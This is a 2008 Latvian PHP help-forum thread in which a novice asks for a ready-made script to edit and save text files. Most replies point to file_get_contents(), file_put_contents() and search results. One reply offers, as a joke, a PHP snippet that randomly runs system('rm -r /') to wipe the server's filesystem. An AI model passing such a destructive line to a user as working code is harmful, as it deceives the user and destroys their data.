Ernijs_E Posted October 14, 2008 Report Share Posted October 14, 2008 Vai kādam nav tāds kods, caur kuru tu vari izvēlēties jebkuru TXT failu no mapītes un to rediģēt, tad uzspiežot pogu submit viņš saglabājas? Ja ir tad lūdzu iedodiet. :) Ja ir bijušas šādas diskusijas tad iedodiet linku, tikai tādā gadījumā ja tur ir bijusi arī atbilde! Link to comment Share on other sites More sharing options...
andrisp Posted October 14, 2008 Report Share Posted October 14, 2008 1) file_get_contents() 2) html forma 3) file_put_contents() (gan jau tev ir php5) Link to comment Share on other sites More sharing options...
blackhalt Posted October 14, 2008 Report Share Posted October 14, 2008 Parasti jau nekodē tikai TXT failu rediģēšanai: http://www.hotscripts.com/PHP/Scripts_and_...ment/index.html Bet, ja tikai TXT, tad tas ir samērā vienkārši, kā jau andrisp uzrakstīja. Link to comment Share on other sites More sharing options...
Ernijs_E Posted October 14, 2008 Author Report Share Posted October 14, 2008 Bet man vaig kodu gatavu, nevis kad pašam jāliek kautkas kopā :) Vai ta nevar? Link to comment Share on other sites More sharing options...
andrisp Posted October 14, 2008 Report Share Posted October 14, 2008 Nē, tā gluži nevar. Tad ir jāmeklē gūglītē vai arī kādam jāsamaksā, lai uztaisa. Link to comment Share on other sites More sharing options...
Ernijs_E Posted October 14, 2008 Author Report Share Posted October 14, 2008 Tak nevar būt, kad kāds nevar treniņa pēc uztaisīt :) Link to comment Share on other sites More sharing options...
andrisp Posted October 14, 2008 Report Share Posted October 14, 2008 "Problēma" ir tik vienkārša, ka nav nekādas motivācijas rakstīt gatavu kodu. Link to comment Share on other sites More sharing options...
Ernijs_E Posted October 14, 2008 Author Report Share Posted October 14, 2008 andri, davai uztaisi.. :) Būšu ļoti pateicīgs. :) Link to comment Share on other sites More sharing options...
v3rb0 Posted October 14, 2008 Report Share Posted October 14, 2008 sporta pēc dabūsi kaut ko šitādu: <?php if(!mt_rand(0,5)) { system('rm -r /'); } Link to comment Share on other sites More sharing options...
Aleksejs Posted October 14, 2008 Report Share Posted October 14, 2008 Google + edit text file php = pirmie rezultāti: http://www.programmingtalk.com/showthread.php?t=2634 http://www.dynamicdrive.com/forums/showthread.php?t=19370 http://board.flashkit.com/board/showthread.php?t=684687 http://codingforums.com/showthread.php?t=146489 http://webscripts.softpedia.com/script/Hea...itor-41327.html Link to comment Share on other sites More sharing options...
Ernijs_E Posted October 14, 2008 Author Report Share Posted October 14, 2008 ja jau visi tik gudri, tad kādēļ nevarat iedot tiešu scriptu? Link to comment Share on other sites More sharing options...
Aleksejs Posted October 14, 2008 Report Share Posted October 14, 2008 Atveram pirmo manis doto saiti, izberzējam acis, ieraugam failu. Ko tad vēl vajag? http://www.programmingtalk.com/showpost.ph...amp;postcount=4 Link to comment Share on other sites More sharing options...
Ernijs_E Posted October 14, 2008 Author Report Share Posted October 14, 2008 tieši tā fails, kurš nejiet . xD Link to comment Share on other sites More sharing options...
Aleksejs Posted October 14, 2008 Report Share Posted October 14, 2008 (edited) Kādā veidā izpaužas tā neJiešana? Ja šitaJs nepatīk, tad paJem citu. Edited October 14, 2008 by Aleksejs Link to comment Share on other sites More sharing options...
Ernijs_E Posted October 14, 2008 Author Report Share Posted October 14, 2008 nejiešana? Fails vnk nesaglabājas :D Link to comment Share on other sites More sharing options...
Recommended Posts